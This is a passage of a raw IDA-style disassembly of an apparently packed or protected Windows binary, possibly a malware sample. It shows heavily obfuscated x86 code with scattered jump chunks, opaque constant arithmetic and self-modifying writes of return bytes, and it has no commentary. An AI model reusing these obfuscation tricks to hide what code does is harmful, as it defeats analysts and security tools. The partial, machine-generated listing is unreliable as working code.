edi, [esp-4+arg_0] push ecx call sub_43C128 loc_43DB99: ; CODE XREF: sub_44D002:loc_44D009j jmp loc_43BA83 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_43DB9E: ; CODE XREF: sub_43BCA9+9420j jmp loc_43A495 ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43DBA3: ; CODE XREF: sub_448EB6+1C7j adc edi, ebx loc_43DBA5: ; CODE XREF: sub_448EB6:loc_449062j rol edi, 12h add edi, 0B3ED1A06h mov [edi], eax pop edi retn ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43DBB2: ; CODE XREF: y22d6.y.:00446281j rol eax, 4 jmp loc_43F4D0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43DBBB: ; CODE XREF: y22d6.y.:00441EDDj jmp loc_4445B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43DBC0: ; CODE XREF: sub_448EB6:loc_43BB3Aj add edx, ebp sbb ebp, 92858C10h jmp loc_44A3C6 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E86C loc_43DBCD: ; CODE XREF: sub_43E86C:loc_43DC0Fj js loc_44B6EA loc_43DBD3: ; CODE XREF: sub_442206+Aj jmp loc_44901C ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- dd 330CCAC1h, 0C8860FC8h, 0F0000ABh, 0F69E8Ah, 0DAFCE900h dd 45FF0000h, 0E4458BE0h, 44C99968h, 9E5AE900h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43DBFE: ; CODE XREF: sub_44AEDA:loc_441999j jz loc_44738E jmp loc_43BB66 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- jz loc_445FF1 ; START OF FUNCTION CHUNK FOR sub_43E86C loc_43DC0F: ; CODE XREF: sub_43E86C+4ED6j jmp loc_43DBCD ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445A15 loc_43DC14: ; CODE XREF: sub_445A15-A86Cj jmp locret_449039 ; END OF FUNCTION CHUNK FOR sub_445A15 ; --------------------------------------------------------------------------- shl edx, 16h adc ebx, 96101AFAh xor ebp, edi sub ebx, 0EC4190A4h jmp loc_43C1B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_43DC2F: ; CODE XREF: sub_4431CD+A6D9j jle loc_43F1CE pushf jmp loc_44AB35 ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- loc_43DC3B: ; CODE XREF: y22d6.y.:loc_443D16j ; DATA XREF: sub_44057E-5DA8o lea eax, loc_44B5EA mov byte ptr [eax], 0C3h jmp loc_44B5EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_43DC49: ; CODE XREF: y22d6.y.:00442030j ; sub_4432B8:loc_447EBAj ... mov eax, [esp+0] push edx call sub_442C0C push 896CDE21h pop eax rol eax, 10h jmp loc_449AD0 ; END OF FUNCTION CHUNK FOR sub_43A58D ; --------------------------------------------------------------------------- loc_43DC60: ; CODE XREF: y22d6.y.:loc_4461A6j sub ebp, 793F9F9Bh ; START OF FUNCTION CHUNK FOR sub_449641 loc_43DC66: ; CODE XREF: sub_449641:loc_446193j and eax, 6E69F28h add eax, 0FF5E882Eh xchg eax, [esp+4+var_4] jmp sub_44C758 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_43DC7A: ; CODE XREF: sub_43B252:loc_44A32Fj pop eax or eax, 19749A84h loc_43DC81: ; CODE XREF: y22d6.y.:0043DCF1j xor eax, 597EE53Ah and eax, 0C15AF96Eh add eax, (offset loc_43ACCB+4) jmp loc_44E0B1 ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_43DC98: ; CODE XREF: sub_43B7B5+1142Bj mov eax, 33F214AFh call sub_43CA1A rol eax, 12h add eax, 0F9501007h call sub_448E3E loc_43DCB0: ; CODE XREF: y22d6.y.:00447B88j jmp loc_44DFF8 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_43DCB5: ; CODE XREF: sub_439051+14j jz loc_43D6DC jmp loc_43B791 ; END OF FUNCTION CHUNK FOR sub_439051 ; =============== S U B R O U T I N E ======================================= sub_43DCC0 proc near ; CODE XREF: sub_4019F9+2Ap ; sub_4019F9+5Dp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0043B058 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043EBBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444C04 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004472CE SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00449790 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044BA70 SIZE 0000000B BYTES call sub_439E54 loc_43DCC5: ; DATA XREF: y22d6.y.:loc_44C3C7o push eax lea eax, dword_4483B4 push esi mov esi, eax jmp loc_449790 sub_43DCC0 endp ; --------------------------------------------------------------------------- loc_43DCD4: ; CODE XREF: y22d6.y.:00442821j ; y22d6.y.:00442836j add eax, ds:4000E6h js loc_43A7C5 ; START OF FUNCTION CHUNK FOR sub_43E139 loc_43DCE0: ; CODE XREF: sub_43E139+6D6Bj jmp loc_43F507 ; END OF FUNCTION CHUNK FOR sub_43E139 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442F96 loc_43DCE5: ; CODE XREF: sub_442F96+Cj jmp nullsub_52 ; END OF FUNCTION CHUNK FOR sub_442F96 ; --------------------------------------------------------------------------- and edi, ebx ; START OF FUNCTION CHUNK FOR sub_44057E loc_43DCEC: ; CODE XREF: sub_44057E:loc_44B584j jmp loc_43A7BC ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- jmp short loc_43DC81 ; --------------------------------------------------------------------------- db 0DDh dword_43DCF4 dd 0 ; DATA XREF: sub_43FC1E+4r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44243B loc_43DCF8: ; CODE XREF: sub_44243B+A6F9j jmp loc_44D1FA ; END OF FUNCTION CHUNK FOR sub_44243B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43DCFD: ; CODE XREF: sub_448EB6+1E9j jmp loc_4498B4 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447A01 loc_43DD02: ; CODE XREF: sub_447A01+Aj jmp loc_4394AC ; END OF FUNCTION CHUNK FOR sub_447A01 ; --------------------------------------------------------------------------- loc_43DD07: ; DATA XREF: sub_43E185-6653o ; y22d6.y.:0044CAAEo test eax, 4CA24853h mov [ecx-279BA36Fh], ebx fadd dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_43DD14: ; CODE XREF: sub_44D6D0+3j jmp loc_44BB92 ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44999F loc_43DD19: ; CODE XREF: sub_44999F-99F9j jmp loc_441C7D ; END OF FUNCTION CHUNK FOR sub_44999F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43DD1E: ; CODE XREF: sub_448EB6-10A57j jmp loc_44CDBD ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- jnb loc_44DB97 mov edx, ds:dword_44D0D8 jmp loc_43829C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A095 loc_43DD34: ; CODE XREF: sub_44A095:loc_442F1Cj cmp edx, 0E7E4CBD0h jmp loc_443B0A ; END OF FUNCTION CHUNK FOR sub_44A095 ; --------------------------------------------------------------------------- loc_43DD3F: ; CODE XREF: y22d6.y.:00440A3Dj rol edi, 2 ; =============== S U B R O U T I N E ======================================= sub_43DD42 proc near ; CODE XREF: sub_4480DE-DF10p ; FUNCTION CHUNK AT 00439886 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043B3E4 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00445FB4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044C550 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi call sub_438A67 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jle loc_445FB4 mov eax, [ebp-4] jmp loc_44C550 sub_43DD42 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43DD60 proc near ; CODE XREF: y22d6.y.:00445624j ; y22d6.y.:loc_446166p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] jmp sub_44A46F sub_43DD60 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43DD6D: ; CODE XREF: y22d6.y.:0044A5D0j jmp loc_43D6BB ; --------------------------------------------------------------------------- loc_43DD72: ; CODE XREF: y22d6.y.:0043813Cj jz loc_43A490 ; =============== S U B R O U T I N E ======================================= sub_43DD78 proc near ; CODE XREF: y22d6.y.:004439F1p xchg eax, [esp+0] pop eax loc_43DD7C: ; CODE XREF: y22d6.y.:0043BD57j mov ds:off_41E1FC, eax call sub_44B144 sub_43DD78 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43704E loc_43DD87: ; CODE XREF: sub_43704E+16F05j jmp sub_449ECF ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBD3 loc_43DD8C: ; CODE XREF: sub_43CBD3-56B1j jmp loc_43AC6E ; END OF FUNCTION CHUNK FOR sub_43CBD3 ; --------------------------------------------------------------------------- loc_43DD91: ; CODE XREF: y22d6.y.:00444592j cdq mov ebp, edi loc_43DD94: ; CODE XREF: y22d6.y.:0044C217j and eax, 415FE791h cmp eax, 4A057D83h jmp loc_444659 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43DDA5: ; CODE XREF: sub_449641-FE74j push edx loc_43DDA6: ; CODE XREF: sub_43B252:loc_44E511j mov eax, 1D403CB1h call sub_43F7FF call sub_43C5EE jmp ds:off_41E218 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A9C6 loc_43DDBB: ; CODE XREF: sub_444427:loc_43E2B8j ; sub_43A9C6:loc_4409BEj ... jo loc_441EBE push offset loc_44495C jmp nullsub_39 ; END OF FUNCTION CHUNK FOR sub_43A9C6 ; --------------------------------------------------------------------------- loc_43DDCB: ; CODE XREF: y22d6.y.:00437A72j jp loc_43A35F add ebp, 1C6CE5BDh jmp loc_44E661 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B201 loc_43DDDC: ; CODE XREF: sub_43B201:loc_43B20Bj jl loc_446019 ; END OF FUNCTION CHUNK FOR sub_43B201 ; START OF FUNCTION CHUNK FOR sub_44633F loc_43DDE2: ; CODE XREF: sub_44633F-5BD3j jmp sub_44B674 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- jbe loc_4429CA xchg edx, [ebx] add ebx, esi jmp loc_446013 ; --------------------------------------------------------------------------- loc_43DDF6: ; CODE XREF: y22d6.y.:loc_4443DEj add eax, 9507A721h xchg eax, [esp] jmp sub_44D293 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D43E loc_43DE04: ; CODE XREF: sub_44D43E+7j mov large fs:0, esp mov eax, [eax] mov eax, 1 jmp loc_44D433 ; END OF FUNCTION CHUNK FOR sub_44D43E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add eax, offset nullsub_4 mov byte ptr [eax], 0C3h call sub_43760A ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43DE25: ; CODE XREF: sub_4432B8+10Cj jnz loc_43C77F mov edx, 0A22F8A70h jmp loc_4464D7 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_43DE35: ; CODE XREF: sub_44B489-109D5j pop ebx rol eax, 0Bh add eax, 832334D5h add eax, ebp push edx push 2DE84716h jmp loc_43FF81 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- shr ebx, 1 jmp loc_43E600 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438DAA loc_43DE53: ; CODE XREF: sub_438DAA:loc_444618j add eax, 0C5423878h sub eax, 0E2B98EEh add eax, 450936DBh xchg eax, [esp+0Ch+var_C] jmp loc_4445A2 ; END OF FUNCTION CHUNK FOR sub_438DAA ; --------------------------------------------------------------------------- push eax mov eax, esp jmp loc_43E1A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A53A loc_43DE75: ; CODE XREF: sub_44A53A-93DDj test ecx, 4F4FB99h jmp loc_44D2D4 ; END OF FUNCTION CHUNK FOR sub_44A53A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442266 loc_43DE80: ; CODE XREF: sub_442266:loc_4413B9j jz loc_44AB8B loc_43DE86: ; CODE XREF: y22d6.y.:loc_443B87j inc [ebp+var_8] loc_43DE89: ; CODE XREF: sub_442266:loc_440B36j ; sub_442266+893Fj mov eax, [ebp+var_8] pop ecx pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_442266 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ED4E loc_43DE90: ; CODE XREF: sub_43ED4E+CB81j jmp loc_443FA4 ; END OF FUNCTION CHUNK FOR sub_43ED4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4380CD loc_43DE95: ; CODE XREF: sub_4380CD+1j jmp loc_448587 ; END OF FUNCTION CHUNK FOR sub_4380CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440543 loc_43DE9A: ; CODE XREF: sub_440543+Fj push 46C21574h pop eax sub eax, 187FABCAh rol eax, 0Ch add eax, 0D9A90F95h call sub_440E77 ; END OF FUNCTION CHUNK FOR sub_440543 ; START OF FUNCTION CHUNK FOR sub_44633F loc_43DEB4: ; CODE XREF: sub_44633F+4A17j jmp loc_43BF40 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44921D loc_43DEB9: ; CODE XREF: sub_44921D+Dj jmp loc_448B66 ; END OF FUNCTION CHUNK FOR sub_44921D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444E14 loc_43DEBE: ; CODE XREF: sub_444E14+1Cj jmp loc_445C7A ; END OF FUNCTION CHUNK FOR sub_444E14 ; --------------------------------------------------------------------------- test ebx, 9BB113CCh jmp loc_449CE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441DC7 loc_43DECE: ; CODE XREF: sub_441DC7-6366j ; sub_441DC7-635Dj ... xor ebx, ebx loc_43DED0: ; CODE XREF: sub_441DC7+Aj mov eax, ebx pop ecx push offset loc_43FB13 jmp loc_44310A ; END OF FUNCTION CHUNK FOR sub_441DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A9C6 loc_43DEDD: ; CODE XREF: sub_43A9C6+7j mov eax, [esp-4+arg_0] push edx nop mov eax, 6FDE1A91h call sub_43CA1A jmp sub_44997F ; END OF FUNCTION CHUNK FOR sub_43A9C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_43DEF1: ; CODE XREF: sub_43A6E1+8A0Fj jge loc_43F731 and esi, edx jb loc_43AE07 jmp loc_43ACB5 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43DF04: ; CODE XREF: sub_448EB6-A67Aj add ebx, ebp jmp loc_438F00 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440330 loc_43DF0B: ; CODE XREF: sub_440330+5D23j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h ; END OF FUNCTION CHUNK FOR sub_440330 ; START OF FUNCTION CHUNK FOR sub_440280 loc_43DF14: ; CODE XREF: sub_440280+1DEEj jz loc_438F00 jmp loc_44B275 ; END OF FUNCTION CHUNK FOR sub_440280 ; =============== S U B R O U T I N E ======================================= sub_43DF1F proc near ; CODE XREF: sub_4383E0+13273p ; y22d6.y.:0044D476j ; FUNCTION CHUNK AT 00438245 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043D9FE SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push ecx loc_43DF24: ; CODE XREF: y22d6.y.:loc_447363j push 0EBA35C13h pop ecx rol ecx, 10h jmp loc_438245 sub_43DF1F endp ; --------------------------------------------------------------------------- loc_43DF32: ; CODE XREF: y22d6.y.:00438F86j jle loc_44BBE4 cdq ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_43DF39: ; CODE XREF: sub_43CBF3:loc_438F6Ej add ebx, 5030AC3Ah xchg ebx, [esp+8+var_8] jmp sub_44ABC9 ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dword_43DF48 dd 0 ; DATA XREF: sub_439051+6r ; sub_439051:loc_443683r ; --------------------------------------------------------------------------- loc_43DF4C: ; CODE XREF: y22d6.y.:0043F970j jmp locret_440FB8 ; --------------------------------------------------------------------------- loc_43DF51: ; CODE XREF: y22d6.y.:0043BFD6j jmp loc_43B9A0 ; =============== S U B R O U T I N E ======================================= sub_43DF56 proc near ; CODE XREF: sub_405231+4Dp ; DATA XREF: r69pu5ti:off_41E008o ; FUNCTION CHUNK AT 0043AEC8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044378D SIZE 00000005 BYTES jns loc_43AEC8 push offset loc_445708 jmp loc_44378D sub_43DF56 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6F loc_43DF66: ; CODE XREF: sub_438A6F+8j push eax push 413EFE85h pop eax sub eax, ds:4000E9h loc_43DF73: ; CODE XREF: y22d6.y.:loc_43FF15j add eax, 7E58752Eh add eax, ebp jmp loc_43C59C ; END OF FUNCTION CHUNK FOR sub_438A6F ; --------------------------------------------------------------------------- loc_43DF80: ; CODE XREF: y22d6.y.:004409D6j push esi jmp loc_440F95 ; --------------------------------------------------------------------------- loc_43DF86: ; CODE XREF: y22d6.y.:0043D096j pop ebp jno loc_4406E6 mov eax, [esp] push eax mov eax, edx xchg eax, [esp] jmp loc_446E22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440943 loc_43DF9B: ; CODE XREF: sub_440943+8111j mov byte ptr [eax], 0C3h jmp loc_44C4D2 ; END OF FUNCTION CHUNK FOR sub_440943 ; --------------------------------------------------------------------------- call nullsub_309 jmp ds:dword_41E15C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44540D loc_43DFAE: ; CODE XREF: sub_44540D+14j jmp loc_44DE1F ; END OF FUNCTION CHUNK FOR sub_44540D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_309. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor al, 24h mov edx, esi pop esi jno loc_44CC4D mov eax, [esp] jmp loc_43C77A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_43DFC7: ; CODE XREF: sub_43F501+890Dj call sub_43F35E ; END OF FUNCTION CHUNK FOR sub_43F501 ; START OF FUNCTION CHUNK FOR sub_448C77 loc_43DFCC: ; CODE XREF: sub_448C77-6E5Ej jz loc_439BAC jmp loc_44B4EE ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_43DFD7: ; CODE XREF: sub_43C65F+ECC6j popf jmp loc_440895 ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43DFDD: ; CODE XREF: sub_44AEDA:loc_445EFEj or ecx, 81F6DF51h sub ecx, 6554DBB3h xor ecx, 0C762FB98h add ecx, ebp add ecx, 0B63F0796h mov ecx, [ecx] jmp loc_4476C8 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- locret_43DFFE: ; CODE XREF: y22d6.y.:0044CF87j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_43DFFF: ; CODE XREF: sub_44B635-29E1j jmp loc_4434FA ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_43E004: ; CODE XREF: sub_43B7B5+1E20j jmp loc_44AD1C ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416CB loc_43E009: ; CODE XREF: sub_4416CB-7ED4j jmp sub_447CBE ; END OF FUNCTION CHUNK FOR sub_4416CB ; --------------------------------------------------------------------------- cdq sbb edx, 0D8610F47h jmp sub_449956 ; --------------------------------------------------------------------------- loc_43E01A: ; DATA XREF: sub_43CBF3+F8EBo push 4143034Fh pop ecx ; START OF FUNCTION CHUNK FOR sub_440494 loc_43E020: ; CODE XREF: sub_440494:loc_43D996j and ecx, 376E9EA4h xor ecx, 0A8AB0852h add ecx, 565A980Eh jmp loc_438EC0 ; END OF FUNCTION CHUNK FOR sub_440494 ; =============== S U B R O U T I N E ======================================= sub_43E037 proc near ; DATA XREF: y22d6.y.:0044A17Do ; FUNCTION CHUNK AT 0043904C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AB03 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004423AE SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0044A05C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044AABB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044D25D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044D84F SIZE 00000018 BYTES mov [edi], eax pop edi push 805FA7E1h pop eax rol eax, 8 jmp loc_4423AE sub_43E037 endp ; sp-analysis failed ; --------------------------------------------------------------------------- add ecx, esi jmp loc_43EC1A ; --------------------------------------------------------------------------- jge loc_443404 jmp loc_442C3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_43E05A: ; CODE XREF: sub_44BBBA-C15Fj jbe loc_43C7CB ; END OF FUNCTION CHUNK FOR sub_44BBBA ; START OF FUNCTION CHUNK FOR sub_44A095 loc_43E060: ; CODE XREF: sub_44BBBA:loc_438D9Fj ; sub_44A095:loc_443B0Aj lea eax, [ebp-12Dh] push eax call sub_44C171 push edi jmp loc_447605 ; END OF FUNCTION CHUNK FOR sub_44A095 ; --------------------------------------------------------------------------- loc_43E072: ; DATA XREF: sub_43FF1B+786Fo xchg esi, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D3B1 loc_43E07A: ; CODE XREF: sub_44D3B1-887Aj test esi, 0F27033A2h jmp loc_44904E ; END OF FUNCTION CHUNK FOR sub_44D3B1 ; --------------------------------------------------------------------------- loc_43E085: ; CODE XREF: y22d6.y.:loc_441944j sbb edi, 89CCDFB4h or esi, 65A51A26h jmp loc_448C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43E096: ; CODE XREF: sub_43B09B:loc_438A4Bj mov byte ptr [eax], 0C3h jmp loc_438F12 ; END OF FUNCTION CHUNK FOR sub_43B09B ; =============== S U B R O U T I N E ======================================= sub_43E09E proc near ; CODE XREF: sub_403249+298p ; sub_43E09E+5j ; DATA XREF: ... call sub_43E0A9 jmp ds:off_41E060 sub_43E09E endp ; =============== S U B R O U T I N E ======================================= sub_43E0A9 proc near ; CODE XREF: sub_43E09Ep ; y22d6.y.:loc_4459DDj ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00439356 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A89E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043AE64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443C4E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00444F50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BA17 SIZE 0000000A BYTES jb loc_44BA17 xchg eax, [esp+0] mov edx, eax jmp loc_43A89E sub_43E0A9 endp ; --------------------------------------------------------------------------- loc_43E0B9: ; CODE XREF: y22d6.y.:00440E05j jl loc_449234 ; START OF FUNCTION CHUNK FOR sub_439C3E loc_43E0BF: ; CODE XREF: sub_439C3E+13j jmp sub_44633F ; END OF FUNCTION CHUNK FOR sub_439C3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_43E0C4: ; CODE XREF: sub_437FD8+11j jmp loc_442395 ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- mov eax, [ebx] ror edi, 1Eh jmp loc_44922F ; --------------------------------------------------------------------------- loc_43E0D3: ; CODE XREF: y22d6.y.:0043A26Fj pop ebx and ebx, 0DB99F065h add ebx, 66426107h xchg ebx, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- push edi call sub_445E41 ; START OF FUNCTION CHUNK FOR sub_44D460 loc_43E0EE: ; CODE XREF: sub_44D460-CC39j jmp loc_4416A4 ; END OF FUNCTION CHUNK FOR sub_44D460 ; --------------------------------------------------------------------------- loc_43E0F3: ; CODE XREF: y22d6.y.:0043EF86j jmp nullsub_309 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_43E0F8: ; CODE XREF: sub_43BEF7:loc_438CBBj xor al, al or eax, eax call sub_43A1BC locret_43E101: ; CODE XREF: y22d6.y.:loc_44C4C3j retn ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- mov eax, 0F34E90C0h call sub_43CA1A push edx mov edx, ecx xchg edx, [esp] push 0FDA9F687h pop ecx jmp loc_43E1FA ; --------------------------------------------------------------------------- loc_43E11D: ; CODE XREF: y22d6.y.:004387C2j jz loc_44804C cmp edx, 98AB1A36h jmp loc_437B6E ; --------------------------------------------------------------------------- call sub_448802 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_43E134: ; CODE XREF: sub_439A90+12463j jmp loc_43BBAC ; END OF FUNCTION CHUNK FOR sub_439A90 ; =============== S U B R O U T I N E ======================================= sub_43E139 proc near ; CODE XREF: sub_448EB6-E2D3p ; sub_448EB6+90j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0043A0FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BEB6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DCE0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F4E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F507 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00443CF1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444E9A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044E334 SIZE 00000008 BYTES xchg ebx, [esp+0] pop ebx xchg ebx, [esp-4+arg_0] jmp loc_43BEB6 sub_43E139 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb esi, 7A5926FFh jmp sub_442E7D ; --------------------------------------------------------------------------- loc_43E150: ; DATA XREF: sub_43AC5C:loc_446F8Do rol eax, 4 push eax locret_43E154: ; CODE XREF: y22d6.y.:0043CB71j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4400D5 loc_43E155: ; CODE XREF: sub_4400D5-4077j jmp nullsub_338 ; END OF FUNCTION CHUNK FOR sub_4400D5 ; =============== S U B R O U T I N E ======================================= sub_43E15A proc near ; CODE XREF: sub_4481AF:loc_43AC46p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0044273F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00443619 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00445167 SIZE 00000005 BYTES push ebp call sub_43C242 loc_43E160: ; CODE XREF: sub_442978+Bj jmp loc_443619 sub_43E15A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43E165 proc near ; DATA XREF: y22d6.y.:0043F376o push ebx push 0C8A30D48h pop ebx and ebx, 0EEB224B3h call 